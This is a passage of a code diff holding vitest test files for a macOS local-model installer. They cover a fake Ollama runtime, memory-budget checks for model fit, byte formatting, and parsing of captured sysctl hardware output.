expect(fake.state.installed).toBe(false);
expect(reached).toBeLessThan(23_105_798_956);
await new Promise((resolve) => setTimeout(resolve, 50));
expect(fake.state.completedBytes).toBe(reached);
});
it('deletes the model', async () => {
fake = await startFakeOllama({ installed: true });
const del = (): Promise<Response> =>
fetch(`${fake!.baseUrl}/api/delete`, {
method: 'DELETE',
body: JSON.stringify({ model: DEFAULT_FAKE_MODEL.id }),
});
expect((await del()).status).toBe(200);
expect(fake.state.installed).toBe(false);
expect((await del()).status).toBe(404);
});
});
describe('the fake runtime: chat, the process list and the tool probe', () => {
it('answers a plain chat and lists the model as loaded, all on the GPU', async () => {
fake = await startFakeOllama({ installed: true });
expect((await getJson(fake, '/api/ps')).models).toEqual([]);
const { status, json } = await chat(fake, { reasoning_effort: 'none' });
expect(status).toBe(200);
expect(json.choices[0]).toEqual({
index: 0,
message: { role: 'assistant', content: 'pong' },
finish_reason: 'stop',
});
const [loaded] = (await getJson(fake, '/api/ps')).models;
expect(loaded).toMatchObject({ name: 'qwen3.6:35b-a3b', context_length: 131072, runner: 'mlx' });
expect(loaded.size_vram).toBe(loaded.size);
});
it('can report a model that is partly off the GPU, or loaded at another context', async () => {
fake = await startFakeOllama({ installed: true, ps: { size: 30e9, sizeVram: 20e9 } });
await chat(fake, {});
expect((await getJson(fake, '/api/ps')).models[0]).toMatchObject({ size: 30e9, size_vram: 20e9 });
fake.switches.ps = { contextLength: 32768 };
expect((await getJson(fake, '/api/ps')).models[0].context_length).toBe(32768);
fake.switches.ps = { loaded: false };
expect((await getJson(fake, '/api/ps')).models).toEqual([]);
});
it('answers 404 in the real error shape for a model it does not have', async () => {
fake = await startFakeOllama();
const { status, json } = await chat(fake, {});
expect(status).toBe(404);
expect(json).toEqual({
error: { message: "model 'qwen3.6:35b-a3b' not found", type: 'not_found_error', param: null, code: null },
});
});
it('can fail the chat that loads the model', async () => {
fake = await startFakeOllama({ installed: true, chat: 'error' });
expect((await chat(fake, {})).status).toBe(500);
expect((await getJson(fake, '/api/ps')).models).toEqual([]);
});
it('calls the tool it was given, with arguments that parse', async () => {
fake = await startFakeOllama({ installed: true });
const { json } = await chat(fake, { tools: TOOLS, reasoning_effort: 'none', max_tokens: 1024 });
const choice = json.choices[0];
expect(choice.finish_reason).toBe('tool_calls');
expect(choice.message.tool_calls).toHaveLength(1);
expect(choice.message.tool_calls[0]).toMatchObject({ type: 'function', function: { name: 'read_file' } });
expect(JSON.parse(choice.message.tool_calls[0].function.arguments)).toEqual({ path: 'README.md' });
});
it('can answer without a tool call, run into the token limit, or send arguments that do not parse', async () => {
fake = await startFakeOllama({ installed: true, tool: 'none' });
let choice = (await chat(fake, { tools: TOOLS })).json.choices[0];
expect(choice.finish_reason).toBe('stop');
expect(choice.message.tool_calls).toBeUndefined();
fake.switches.tool = 'length';
choice = (await chat(fake, { tools: TOOLS })).json.choices[0];
expect(choice.finish_reason).toBe('length');
expect(choice.message.content).toBe('');
expect(choice.message.tool_calls).toBeUndefined();
fake.switches.tool = 'bad-arguments';
choice = (await chat(fake, { tools: TOOLS })).json.choices[0];
expect(() => JSON.parse(choice.message.tool_calls[0].function.arguments)).toThrow();
});
});
describe('the fake runtime: the archive', () => {
it('serves an archive whose size and hash are the pin it hands out', async () => {
fake = await startFakeOllama();
const pin = fake.pin();
expect(pin.url).toBe(`${fake.baseUrl}/download/ollama-darwin.tgz`);
const res = await fetch(pin.url);
const body = Buffer.from(await res.arrayBuffer());
expect(res.status).toBe(200);
expect(body.length).toBe(pin.bytes);
expect(createHash('sha256').update(body).digest('hex')).toBe(pin.sha256);
});
it('continues from a Range request', async () => {
fake = await startFakeOllama();
const res = await fetch(fake.pin().url, { headers: { range: 'bytes=10-' } });
expect(res.status).toBe(206);
expect(res.headers.get('content-range')).toBe(`bytes 10-${fake.archive.size - 1}/${fake.archive.size}`);
expect(Buffer.from(await res.arrayBuffer()).equals(fake.archive.body.subarray(10))).toBe(true);
expect((await fetch(fake.pin().url, { headers: { range: `bytes=${fake.archive.size}-` } })).status).toBe(416);
});
it('cuts the body the first time only, so a Range request can finish it', async () => {
fake = await startFakeOllama({ archive: { cutAfterBytes: 20 } });
const first = await fetch(fake.pin().url);
const got: Buffer[] = [];
await (async () => {
for await (const chunk of first.body as unknown as AsyncIterable<Uint8Array>) got.push(Buffer.from(chunk));
})().catch(() => undefined);
const head = Buffer.concat(got);
expect(head.length).toBe(20);
const rest = await fetch(fake.pin().url, { headers: { range: 'bytes=20-' } });
const whole = Buffer.concat([head, Buffer.from(await rest.arrayBuffer())]);
expect(createHash('sha256').update(whole).digest('hex')).toBe(fake.archive.sha256);
expect(fake.state.archiveRequests).toBe(2);
});
it('can ignore Range, or answer another status', async () => {
fake = await startFakeOllama({ archive: { ignoreRange: true } });
expect((await fetch(fake.pin().url, { headers: { range: 'bytes=10-' } })).status).toBe(200);
fake.switches.archive.status = 503;
expect((await fetch(fake.pin().url)).status).toBe(503);
});
it('is a real archive that tar unpacks to an executable', async () => {
const dir = await mkdtemp(join(tmpdir(), 'fake-ollama-archive-'));
try {
const archive = join(dir, 'runtime.tgz');
await writeFile(archive, buildFakeArchive({ ollama: '#!/bin/sh\necho hello\n', LICENSE: 'text\n' }));
await execFileAsync('tar', ['-xzf', archive, '-C', dir]);
expect(await readFile(join(dir, 'LICENSE'), 'utf8')).toBe('text\n');
expect((await stat(join(dir, 'ollama'))).mode & 0o111).not.toBe(0);
expect((await execFileAsync(join(dir, 'ollama'))).stdout).toBe('hello\n');
} finally {
await rm(dir, { recursive: true, force: true });
}
});
});
describe('the fake runtime: the child process', () => {
it('holds the real log lines with the device total', () => {
expect(REAL_INFERENCE_COMPUTE_LINE_MAC_MINI).toContain('total="11.8 GiB" available="11.8 GiB"');
expect(INFERENCE_COMPUTE_LINE_MACBOOK).toContain('total="37.4 GiB" available="37.4 GiB"');
expect(MACBOOK_MEASURED_TOTAL_BYTES).toBe(Math.floor(37.4 * 1024 ** 3));
expect(fakeRuntimeLog('37.4 GiB')[2]).toContain('msg="inference compute"');
});
it('listens on the port of OLLAMA_HOST once spawned, logs the budget, and is gone when killed', async () => {
const port = await freeLoopbackPort();
fake = createFakeOllama({ installed: true });
expect(fake.listening).toBe(false);
const child = fake.spawn('/somewhere/ollama', ['serve'], {
env: { OLLAMA_HOST: `127.0.0.1:${port}`, HOME: '/private/home' },
}) as unknown as FakeRuntimeChild;
let log = '';
child.stderr.on('data', (chunk: Buffer) => (log += chunk.toString('utf8')));
await new Promise((resolve) => setTimeout(resolve, 50));
expect(child.pid).toBeGreaterThan(4_194_304);
expect(child.env.HOME).toBe('/private/home');
expect(fake.port).toBe(port);
expect(await getJson(fake, '/api/version')).toEqual({ version: '0.40.15' });
expect(log).toContain('msg="inference compute"');
expect(log).toContain('total="37.4 GiB"');
const exited = new Promise<[number | null, string | null]>((resolve) =>
child.once('exit', (code, signal) => resolve([code, signal]))
);
expect(child.kill('SIGTERM')).toBe(true);
expect(await exited).toEqual([null, 'SIGTERM']);
expect(fake.listening).toBe(false);
await expect(fetch(`http://127.0.0.1:${port}/api/version`)).rejects.toThrow();
expect(fake.state.children).toEqual([child]);
});
it('can start without ever listening, exit at once, leave the budget out, or crash later', async () => {
const port = await freeLoopbackPort();
const env = { OLLAMA_HOST: `127.0.0.1:${port}` };
fake = createFakeOllama({ spawn: { neverListens: true, logsBudget: false } });
const silent = fake.spawn('ollama', ['serve'], { env }) as unknown as FakeRuntimeChild;
let log = '';
silent.stderr.on('data', (chunk: Buffer) => (log += chunk.toString('utf8')));
await new Promise((resolve) => setTimeout(resolve, 30));
expect(fake.listening).toBe(false);
expect(log).toContain('Listening on');
expect(log).not.toContain('inference compute');
fake.switches.spawn = { neverListens: false, exitsAtOnce: 2, total: '37.4 GiB', logsBudget: true };
const dead = fake.spawn('ollama', ['serve'], { env }) as unknown as FakeRuntimeChild;
const code = await new Promise((resolve) => dead.once('exit', resolve));
expect(code).toBe(2);
fake.switches.spawn.exitsAtOnce = undefined;
const alive = fake.spawn('ollama', ['serve'], { env }) as unknown as FakeRuntimeChild;
await new Promise((resolve) => setTimeout(resolve, 30));
expect(fake.listening).toBe(true);
const crashed = new Promise((resolve) => alive.once('exit', resolve));
alive.crash(137);
expect(await crashed).toBe(137);
expect(fake.listening).toBe(false);
});
});
+138
View File
@@ -0,0 +1,138 @@
/**
* @fileoverview Tests for `modelFitsBudget()` of src/local-model/recommend.ts: the judgement
* the install job makes before it downloads a model.
*
* Pinned: it agrees with what `recommend()` offers (a model that is the pick or listed fits,
* a model that is in neither and is not left out for its rank does not), it does not depend
* on the ranking, a model the catalogue does not have never fits, and it judges against the
* budget the runtime measured when the caller passes one (the whole point of asking again
* after the runtime started).
*
* Port: N/A (pure functions).
*/
import { describe, expect, it } from 'vitest';
import { getLocalModelCatalog } from '../src/config/local-model-catalog.js';
import { formatGb, memClassGb } from '../src/local-model/format.js';
import { modelFitsBudget, recommend } from '../src/local-model/recommend.js';
import type { HardwareFacts, HarnessFact } from '../src/types.js';
/** A Mac with Apple silicon and `gb` GB of memory as sold. */
function mac(gb: number, chip = 'Apple M5 Pro'): HardwareFacts {
const memBytes = gb * 1024 ** 3;
return {
platform: 'darwin',
arch: 'arm64',
arm64: true,
translated: false,
memBytes,
memGb: formatGb(memBytes),
memClassGb: memClassGb(memBytes),
chip,
macosMajor: 27,
macosVersion: '27.2',
wiredLimitMb: 0,
source: 'sysctl',
};
}
/** Every harness of the catalogue, installed and accepting every model id. */
function harnessFacts(): HarnessFact[] {
return getLocalModelCatalog().harnesses.map((row) => ({
cli: row.cli,
label: row.cli,
installed: true,
installable: false,
acceptsModelId: () => true,
}));
}
describe('modelFitsBudget', () => {
const catalog = getLocalModelCatalog();
it('agrees with the recommendation on every model and context of the catalogue', () => {
for (const gb of [8, 16, 18, 24, 32, 36, 48, 64, 96, 128, 192, 256, 512]) {
const hw = mac(gb);
const offered = recommend(hw, catalog, harnessFacts());
const rows = [offered.pick, ...offered.alternatives].filter((row) => row !== undefined);
// Whatever the recommendation offers fits at the context it offers it at.
for (const row of rows) {
expect(modelFitsBudget(hw, catalog, row.modelId, row.context), `${gb} GB ${row.modelId}`).toBe(true);
}
// A Mac that gets no recommendation for lack of memory has no model that fits at a
// context a harness works at.
if (offered.verdict === 'none') {
const smallestHarnessContext = Math.min(...catalog.harnesses.filter((h) => !h.gated).map((h) => h.minContext));
for (const model of catalog.models) {
for (const context of model.contexts.filter((ctx) => ctx >= smallestHarnessContext)) {
expect(modelFitsBudget(hw, catalog, model.id, context), `${gb} GB ${model.id}`).toBe(false);
}
}
}
}
});
it('does not depend on the ranking: a model that fits and is listed nowhere still fits', () => {
// On a 128 GB Mac more models fit than the recommendation lists.
const hw = mac(128, 'Apple M5 Max');
const offered = recommend(hw, catalog, harnessFacts());
const listed = new Set([offered.pick, ...offered.alternatives].map((row) => row?.modelId));
const unlisted = catalog.models.filter((model) => !listed.has(model.id));
expect(unlisted.length).toBeGreaterThan(0);
for (const model of unlisted) {
expect(modelFitsBudget(hw, catalog, model.id, model.contexts.at(-1) as number), model.id).toBe(true);
}
});
it('rules out a model that is too large, and one the catalogue does not have', () => {
expect(modelFitsBudget(mac(48), catalog, 'ornith-1.5:122b', 131072)).toBe(false);
expect(modelFitsBudget(mac(48), catalog, 'no-such:1b', 65536)).toBe(false);
expect(modelFitsBudget(mac(48), catalog, 'qwen3.6:35b-a3b', 131072)).toBe(true);
});
it('judges against the budget the runtime measured, when it is given one', () => {
const id = 'qwen3.6:35b-a3b';
// The MacBook: the runtime reported 37.4 GiB, and the model needs 36.0 of those 40.2 GB.
expect(modelFitsBudget(mac(48), catalog, id, 131072, { measuredTotalBytes: 40_157_944_217 })).toBe(true);
// A runtime that reports less than the estimate rules out what the estimate allowed.
expect(modelFitsBudget(mac(48), catalog, id, 131072, { measuredTotalBytes: 33 * 1024 ** 3 })).toBe(false);
// And one that reports more admits what the estimate ruled out: on a 36 GB Mac the GGUF
// 35B-A3B at its full window needs 28.8 GB, 1.032 of the 27.9 GB estimate and 0.958 of 28 GiB.
const moeGguf = 'qwen3.6:35b-a3b-mtp-q4_k_m';
expect(modelFitsBudget(mac(36), catalog, moeGguf, 262144)).toBe(false);
expect(modelFitsBudget(mac(36), catalog, moeGguf, 262144, { measuredTotalBytes: 28 * 1024 ** 3 })).toBe(true);
// The reserve still bounds it: 100 GiB "measured" on a 48 GB Mac is 40 GiB (42.9 GB) of
// budget, so the 122B with its 97.4 GB stays out although 100 GiB would hold it.
const huge = { measuredTotalBytes: 100 * 1024 ** 3 };
expect(modelFitsBudget(mac(48), catalog, 'ornith-1.5:122b', 131072, huge)).toBe(false);
expect(modelFitsBudget(mac(128), catalog, 'ornith-1.5:122b', 131072, huge)).toBe(true);
});
it('agrees with the recommendation under a measured budget too', () => {
for (const [gb, measuredGib] of [
[16, 11.8],
[32, 20],
[48, 37.4],
[48, 30],
[64, 50],
]) {
const hw = mac(gb);
const options = { measuredTotalBytes: Math.floor(measuredGib * 1024 ** 3) };
const offered = recommend(hw, catalog, harnessFacts(), options);
expect(offered.verdict === 'none' || offered.budgetSource === 'measured').toBe(true);
for (const row of [offered.pick, ...offered.alternatives].filter((entry) => entry !== undefined)) {
expect(modelFitsBudget(hw, catalog, row.modelId, row.context, options), `${gb} GB ${row.modelId}`).toBe(true);
// The next larger context of the same model does not fit, or the row would be at it.
const model = catalog.models.find((entry) => entry.id === row.modelId);
const larger = model?.contexts.filter((ctx) => ctx > row.context) ?? [];
for (const ctx of larger) expect(modelFitsBudget(hw, catalog, row.modelId, ctx, options)).toBe(false);
}
}
});
it('is false for a context that is no token count', () => {
for (const context of [0, -1, Number.NaN, Number.POSITIVE_INFINITY]) {
expect(modelFitsBudget(mac(128), catalog, 'qwen3.5:9b-q4_k_m', context), String(context)).toBe(false);
}
});
});
+86
View File
@@ -0,0 +1,86 @@
/**
* @fileoverview Tests for src/local-model/format.ts: the ONE place a byte count becomes a size a
* person reads, and the memory class a Mac is sold as.
*
* What is pinned here is a contract with the browser: it prints the text it was sent and adds
* ' GB' itself, so the text must be decimal GB, carry no unit, and round the same way everywhere.
*
* Port: N/A (pure functions).
*/
import { describe, expect, it } from 'vitest';
import { formatGb, GB, GIB, memClassGb, MIB } from '../src/local-model/format.js';
describe('byte units', () => {
it('keeps decimal GB (what a person reads) apart from the binary units of the budget math', () => {
expect(GB).toBe(1_000_000_000);
expect(GIB).toBe(1_073_741_824);
expect(MIB).toBe(1_048_576);
});
});
describe('formatGb', () => {
it('prints decimal GB, so a Mac sold as 16 GB reads 17.2 and one sold as 48 GB reads 51.5', () => {
expect(formatGb(17_179_869_184)).toBe('17.2');
expect(formatGb(51_539_607_552)).toBe('51.5');
});
it('prints the registry sizes of the catalogue models as the registry shows them', () => {
expect(formatGb(6_550_825_373)).toBe('6.6');
expect(formatGb(13_793_441_427)).toBe('13.8');
expect(formatGb(17_741_871_939)).toBe('17.7');
expect(formatGb(22_621_314_161)).toBe('22.6');
expect(formatGb(81_370_035_877)).toBe('81.4');
});
it('keeps one decimal below 100 and none from 100', () => {
expect(formatGb(1 * GB)).toBe('1.0');
expect(formatGb(99.94 * GB)).toBe('99.9');
// Rounds to 100.0, which is already "from 100".
expect(formatGb(99.96 * GB)).toBe('100');
expect(formatGb(100 * GB)).toBe('100');
// The free disk of the two test Macs, from their `df -k` lines.
expect(formatGb(890_926_084 * 1024)).toBe('912');
expect(formatGb(41_752_848 * 1024)).toBe('42.8');
});
it('never prints a unit, a thousands separator or an exponent', () => {
for (const bytes of [1, 5 * MIB, 3 * GIB, 250 * GB, 4000 * GB, 2.5e15]) {
expect(formatGb(bytes)).toMatch(/^\d+(\.\d)?$/);
}
});
it("reads '0.0' for anything that is not a positive size", () => {
for (const bytes of [0, -1, -5 * GB, Number.NaN, Number.POSITIVE_INFINITY, Number.NEGATIVE_INFINITY]) {
expect(formatGb(bytes)).toBe('0.0');
}
});
it('shows a size too small for one decimal as 0.0, never as an empty text', () => {
expect(formatGb(10 * MIB)).toBe('0.0');
expect(formatGb(512 * MIB)).toBe('0.5');
});
});
describe('memClassGb', () => {
it('names the size a Mac is sold as: whole binary gigabytes', () => {
for (const sold of [8, 16, 18, 24, 32, 36, 48, 64, 96, 128, 192]) {
expect(memClassGb(sold * GIB)).toBe(sold);
}
// The exact `hw.memsize` of the two test Macs.
expect(memClassGb(17_179_869_184)).toBe(16);
expect(memClassGb(51_539_607_552)).toBe(48);
});
it('rounds a size that is not a whole number of gigabytes', () => {
// `hw.memsize_usable` of the 16 GB test Mac is a little below 16 GiB.
expect(memClassGb(16_631_808_000)).toBe(15);
expect(memClassGb(16 * GIB - 100 * MIB)).toBe(16);
});
it('reads 0 for anything that is not a positive size', () => {
for (const bytes of [0, -1, Number.NaN, Number.POSITIVE_INFINITY]) {
expect(memClassGb(bytes)).toBe(0);
}
});
});
+749
View File
@@ -0,0 +1,749 @@
/**
* @fileoverview Tests for src/local-model/hardware.ts: the probe that tells the recommendation
* what this Mac is.
*
* Two halves, mirroring the module:
*
* 1. `parseSysctl()`, pure. Fed the REAL output of the probe command on the two test Macs (a
* MacBook Pro with an M5 Pro and 48 GB, a Mac mini with an M4 and 16 GB), copied here
* character for character with the extra lines the capture holds, plus an Intel-shaped
* output (three of the seven keys do not exist there) and outputs cut off mid-line.
* 2. `readHardware()`, with every piece of IO injected: nothing is spawned and no real disk is
* read. What is pinned: a failed spawn is an ANSWER (the `os-fallback` shape), nothing is
* spawned off macOS, the result is cached for 60 s and concurrent callers share one probe.
*
* The IO itself is tested apart, against things this suite controls:
*
* 3. `spawnSysctl()` runs a small shell script of the test in place of sysctl. That proves what
* a fake cannot: the arguments are the seven keys and nothing else, the output of a program
* that exits 1 is still read (an Intel Mac lacks three keys, so sysctl exits 1 there), a
* program that hangs is given up on, and the server's environment is not handed over.
* 4. `dataDirFreeBytes()` with injected probes: a folder that does not exist yet, a mount that
* does not answer, and a `statfs` that never comes back, which must not be started twice.
*
* One test at the end runs the real defaults once (the real spawn and the real `statfs`), to
* prove they cannot reject on whatever machine runs the suite. On Linux `sysctl` knows none of
* the keys, so that run ends in the fallback; on a Mac it ends in a real answer. Both are fine.
*
* Port: N/A (no server).
*/
import { mkdtempSync, rmSync, writeFileSync } from 'node:fs';
import { tmpdir } from 'node:os';
import { isAbsolute, join } from 'node:path';
import { afterEach, beforeEach, describe, expect, it } from 'vitest';
import {
dataDirFreeBytes,
FREE_DISK_TIMEOUT_MS,
freeDiskBytesOf,
HARDWARE_CACHE_TTL_MS,
parseSysctl,
readHardware,
resetHardwareCache,
spawnSysctl,
SYSCTL_KEYS,
SYSCTL_PATH,
SYSCTL_TIMEOUT_MS,
type HardwareProbeDeps,
} from '../src/local-model/hardware.js';
/**
* The capture of the MacBook Pro (Mac17,13), 2026-11-06. The last four lines are not part of
* the probe: two extra keys the capture asked for, the shell's exit status and a `df -k` line.
*/
const MACBOOK_SYSCTL = `hw.memsize: 51539607552
machdep.cpu.brand_string: Apple M5 Pro
hw.optional.arm64: 1
sysctl.proc_translated: 0
iogpu.wired_limit_mb: 0
kern.osproductversion: 27.2
hw.model: Mac17,13
hw.perflevel0.physicalcpu: 6
hw.perflevel1.physicalcpu: 12
exit=0
/dev/disk3s5 971094180 54383564 890926084 6% 542146 8909260840 0% /System/Volumes/Data
`;
/** The capture of the Mac mini (Mac16,10), 2026-11-06, with the same four extra lines. */
const MACMINI_SYSCTL = `hw.memsize: 17179869184
machdep.cpu.brand_string: Apple M4
hw.optional.arm64: 1
sysctl.proc_translated: 0
iogpu.wired_limit_mb: 0
kern.osproductversion: 27.2
hw.model: Mac16,10
hw.perflevel0.physicalcpu: 4
hw.perflevel1.physicalcpu: 6
exit=0
/dev/disk3s5 239362496 172954124 41752848 81% 2353838 417528480 1% /System/Volumes/Data
`;
/** Free disk of the two Macs: the "available" column of their `df -k` lines, in bytes. */
const MACBOOK_FREE_DISK = 890_926_084 * 1024;
const MACMINI_FREE_DISK = 41_752_848 * 1024;
/**
* What an Intel Mac prints: `hw.optional.arm64`, `sysctl.proc_translated` and
* `iogpu.wired_limit_mb` do not exist there, so sysctl leaves their lines out (and exits 1).
* NOT a capture: no Intel Mac was available, the shape is recalled.
*/
const INTEL_SYSCTL = `hw.memsize: 17179869184
machdep.cpu.brand_string: Intel(R) Core(TM) i7-9750H CPU @ 2.60GHz
kern.osproductversion: 13.6.7
hw.model: MacBookPro15,1
`;
/** Deps that spawn nothing and read no disk. A test overrides what it is about. */
function deps(overrides: HardwareProbeDeps = {}): HardwareProbeDeps {
return {
platform: 'darwin',
arch: 'arm64',
runSysctl: async () => MACMINI_SYSCTL,
freeDiskBytes: async () => MACMINI_FREE_DISK,
totalMemBytes: () => 8 * 1024 ** 3,
cpuModel: () => 'Fallback CPU',
now: () => 1_000_000,
...overrides,
};
}
beforeEach(() => {
resetHardwareCache();
});
afterEach(() => {
resetHardwareCache();
});
describe('the probe command', () => {
it('is an absolute path and asks for exactly the seven keys, never with -n', () => {
expect(isAbsolute(SYSCTL_PATH)).toBe(true);
expect(SYSCTL_PATH).toBe('/usr/sbin/sysctl');
expect([...SYSCTL_KEYS]).toEqual([
'hw.memsize',
'machdep.cpu.brand_string',
'hw.optional.arm64',
'sysctl.proc_translated',
'iogpu.wired_limit_mb',
'kern.osproductversion',
'hw.model',
]);
// Every argument is a key name. `-n` would print bare values, and a key missing on a
// machine would then shift every value after it onto the wrong key.
for (const key of SYSCTL_KEYS) expect(key).toMatch(/^[a-z][a-z0-9_.]*$/);
});
it('is bounded, and its result is reused for 60 seconds', () => {
expect(SYSCTL_TIMEOUT_MS).toBe(2000);
expect(HARDWARE_CACHE_TTL_MS).toBe(60_000);
});
});
describe('parseSysctl on the two real Macs', () => {
it('reads the MacBook Pro: M5 Pro, 48 GB, macOS 27.2, no wired limit set', () => {
expect(parseSysctl(MACBOOK_SYSCTL)).toEqual({
memBytes: 51_539_607_552,
chip: 'Apple M5 Pro',
arm64: true,
translated: false,
wiredLimitMb: 0,
macosVersion: '27.2',
macosMajor: 27,
model: 'Mac17,13',
});
});
it('reads the Mac mini: M4, 16 GB, macOS 27.2, no wired limit set', () => {
expect(parseSysctl(MACMINI_SYSCTL)).toEqual({
memBytes: 17_179_869_184,
chip: 'Apple M4',
arm64: true,
translated: false,
wiredLimitMb: 0,
macosVersion: '27.2',
macosMajor: 27,
model: 'Mac16,10',
});
});
it('skips the lines it does not know: other keys, the exit status, the df line', () => {
const facts = parseSysctl(MACMINI_SYSCTL);
expect(Object.keys(facts).sort()).toEqual(
['arm64', 'chip', 'macosMajor', 'macosVersion', 'memBytes', 'model', 'translated', 'wiredLimitMb'].sort()
);
});
it('reports a wired limit of 0 as 0 (not set), and a set one as its number', () => {
expect(parseSysctl(MACMINI_SYSCTL).wiredLimitMb).toBe(0);
expect(parseSysctl('iogpu.wired_limit_mb: 14000\n').wiredLimitMb).toBe(14000);
});
});
describe('parseSysctl on other shapes', () => {
it('reads an Intel Mac, whose output lacks three of the keys, without shifting a value', () => {
expect(parseSysctl(INTEL_SYSCTL)).toEqual({
memBytes: 17_179_869_184,
chip: 'Intel(R) Core(TM) i7-9750H CPU @ 2.60GHz',
macosVersion: '13.6.7',
macosMajor: 13,
model: 'MacBookPro15,1',
});
});
it('reads an Intel Mac that does print the arm64 flag, as 0', () => {
const facts = parseSysctl(`hw.optional.arm64: 0\n${INTEL_SYSCTL}`);
expect(facts.arm64).toBe(false);
expect(facts.translated).toBeUndefined();
});
it('reads a process under Rosetta: the machine is arm64 and the process is translated', () => {
const facts = parseSysctl(MACMINI_SYSCTL.replace('sysctl.proc_translated: 0', 'sysctl.proc_translated: 1'));
expect(facts.arm64).toBe(true);
expect(facts.translated).toBe(true);
});
it('drops a line that was cut off: a truncated output never yields half a value', () => {
// Cut in the middle of the chip name. The memory line before it is whole.
const cutInChip = 'hw.memsize: 17179869184\nmachdep.cpu.brand_string: Apple M';
expect(parseSysctl(cutInChip)).toEqual({ memBytes: 17_179_869_184 });
// Cut in the middle of the memory figure: '1717' would be a valid, wrong number.
expect(parseSysctl('hw.memsize: 1717')).toEqual({});
// Cut right after a whole line: everything up to there counts.
const cutAfterLine = MACMINI_SYSCTL.slice(0, MACMINI_SYSCTL.indexOf('hw.optional.arm64'));
expect(parseSysctl(cutAfterLine)).toEqual({ memBytes: 17_179_869_184, chip: 'Apple M4' });
});
it('reads nothing from an empty output or from error text', () => {
expect(parseSysctl('')).toEqual({});
expect(parseSysctl('\n\n')).toEqual({});
expect(
parseSysctl("sysctl: unknown oid 'hw.memsize'\nsysctl: cannot stat /proc/sys/hw/memsize: No such file\n")
).toEqual({});
});
it('leaves out a value that does not parse instead of guessing', () => {
const facts = parseSysctl(
[
'hw.memsize: lots',
'machdep.cpu.brand_string: ',
'hw.optional.arm64: yes',
'sysctl.proc_translated: 2',
'iogpu.wired_limit_mb: -1',
'kern.osproductversion: Sequoia',
`hw.model: ${'x'.repeat(200)}`,
'',
].join('\n')
);
expect(facts).toEqual({});
});
it('refuses a memory size of 0 or one too large to be a number of bytes', () => {
expect(parseSysctl('hw.memsize: 0\n').memBytes).toBeUndefined();
expect(parseSysctl('hw.memsize: 99999999999999999999999\n').memBytes).toBeUndefined();
});
it('accepts Windows line ends and padding, and the first line of a key wins', () => {
const facts = parseSysctl('hw.memsize: 17179869184 \r\nhw.model: Mac16,10\r\nhw.model: Other9,9\r\n');
expect(facts).toEqual({ memBytes: 17_179_869_184, model: 'Mac16,10' });
});
it('reads the macOS major version from one, two or three numbers', () => {
expect(parseSysctl('kern.osproductversion: 14\n')).toMatchObject({ macosVersion: '14', macosMajor: 14 });
expect(parseSysctl('kern.osproductversion: 15.7\n')).toMatchObject({ macosVersion: '15.7', macosMajor: 15 });
expect(parseSysctl('kern.osproductversion: 13.6.7\n')).toMatchObject({ macosVersion: '13.6.7', macosMajor: 13 });
});
});
describe('readHardware on the two real Macs', () => {
it('describes the MacBook Pro', async () => {
const hw = await readHardware(
deps({ runSysctl: async () => MACBOOK_SYSCTL, freeDiskBytes: async () => MACBOOK_FREE_DISK })
);
expect(hw).toEqual({
platform: 'darwin',
arch: 'arm64',
arm64: true,
translated: false,
memBytes: 51_539_607_552,
memGb: '51.5',
memClassGb: 48,
chip: 'Apple M5 Pro',
model: 'Mac17,13',
macosVersion: '27.2',
macosMajor: 27,
wiredLimitMb: 0,
freeDiskBytes: MACBOOK_FREE_DISK,
freeDiskGb: '912',
source: 'sysctl',
});
});
it('describes the Mac mini', async () => {
const hw = await readHardware(deps());
expect(hw).toEqual({
platform: 'darwin',
arch: 'arm64',
arm64: true,
translated: false,
memBytes: 17_179_869_184,
memGb: '17.2',
memClassGb: 16,
chip: 'Apple M4',
model: 'Mac16,10',
macosVersion: '27.2',
macosMajor: 27,
wiredLimitMb: 0,
freeDiskBytes: MACMINI_FREE_DISK,
freeDiskGb: '42.8',
source: 'sysctl',
});
});
it('is plain JSON: it survives a round trip unchanged', async () => {
const hw = await readHardware(deps());
expect(JSON.parse(JSON.stringify(hw))).toEqual(hw);
});
it('describes an Intel Mac from its shorter output: no arm64 flag, an x64 process', async () => {
const hw = await readHardware(deps({ arch: 'x64', runSysctl: async () => INTEL_SYSCTL }));
expect(hw.source).toBe('sysctl');
expect(hw.arch).toBe('x64');
expect(hw.chip).toBe('Intel(R) Core(TM) i7-9750H CPU @ 2.60GHz');
expect(hw.macosMajor).toBe(13);
expect(hw).not.toHaveProperty('arm64');
expect(hw).not.toHaveProperty('translated');
expect(hw).not.toHaveProperty('wiredLimitMb');
});
it('takes the chip name from node:os when sysctl printed everything but that', async () => {
const hw = await readHardware(
deps({ runSysctl: async () => MACMINI_SYSCTL.replace('machdep.cpu.brand_string: Apple M4\n', '') })
);
expect(hw.source).toBe('sysctl');
expect(hw.chip).toBe('Fallback CPU');
});
});
describe('readHardware when the probe fails', () => {
it('answers from node:os when the spawn could not run or timed out', async () => {
const hw = await readHardware(
deps({
runSysctl: async () => undefined,
totalMemBytes: () => 34_359_738_368,
cpuModel: () => 'Apple M2 Max',
})
);
expect(hw).toEqual({
platform: 'darwin',
arch: 'arm64',
memBytes: 34_359_738_368,
memGb: '34.4',
memClassGb: 32,
chip: 'Apple M2 Max',
freeDiskBytes: MACMINI_FREE_DISK,
freeDiskGb: '42.8',
source: 'os-fallback',
});
});
it('never rejects when a dependency throws or rejects', async () => {
const hw = await readHardware(
deps({
runSysctl: () => Promise.reject(new Error('spawn EACCES')),
freeDiskBytes: () => {
throw new Error('statfs failed');
},
cpuModel: () => {
throw new Error('no cpus');
},
})
);
expect(hw.source).toBe('os-fallback');
expect(hw.memBytes).toBe(8 * 1024 ** 3);
expect(hw).not.toHaveProperty('chip');
expect(hw).not.toHaveProperty('freeDiskBytes');
expect(hw).not.toHaveProperty('freeDiskGb');
});
it('still answers when even the memory size cannot be read', async () => {
const hw = await readHardware(
deps({
runSysctl: async () => undefined,
totalMemBytes: () => {
throw new Error('no memory figure');
},
})
);
expect(hw).toMatchObject({ source: 'os-fallback', memBytes: 0, memGb: '0.0', memClassGb: 0 });
});
it('trusts nothing of an output that has no memory size', async () => {
// A truncated or foreign output: the chip and version lines are whole, hw.memsize is not there.
const withoutMemory = MACMINI_SYSCTL.replace('hw.memsize: 17179869184\n', '');
const hw = await readHardware(deps({ runSysctl: async () => withoutMemory }));
expect(hw.source).toBe('os-fallback');
expect(hw.memBytes).toBe(8 * 1024 ** 3);
expect(hw.chip).toBe('Fallback CPU');
expect(hw).not.toHaveProperty('macosVersion');
expect(hw).not.toHaveProperty('macosMajor');
expect(hw).not.toHaveProperty('model');
expect(hw).not.toHaveProperty('wiredLimitMb');
expect(hw).not.toHaveProperty('arm64');
});
